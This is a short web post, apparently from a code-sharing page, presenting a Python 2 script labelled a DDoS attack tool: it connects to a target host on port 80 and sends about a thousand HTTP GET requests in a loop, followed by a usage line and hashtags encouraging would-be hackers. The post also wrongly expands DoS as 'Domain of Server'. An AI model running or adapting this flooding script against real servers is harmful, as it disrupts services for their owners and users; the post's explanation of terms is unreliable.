Python DDos attack script

import socket, sys, os print "][ Attacking " + sys.argv[1] + " ... ][" print "injecting " + sys.argv[2]; def attack(): #pid = os.fork() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], 80)) print ">> GET /" + sys.argv[2] + " HTTP/1.1" s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n") s.send("Host: " + sys.argv[1] + "\r\n\r\n"); s.close() for i in range(1, 1000): attack()
Being a "hacker" won't be harder anymore with this pretty easy Dos (Domain of Server) that can be used as described below:

python ddos.py target_ip_address apache

#python #hack #hacker #hacking #dos #ddos #attack #security

#cesarnog

6 Responses

Write a comment

You can use [html][/html], [css][/css], [php][/php] and more to embed the code. Urls are automatically hyperlinked. Line breaks and paragraphs are automatically generated.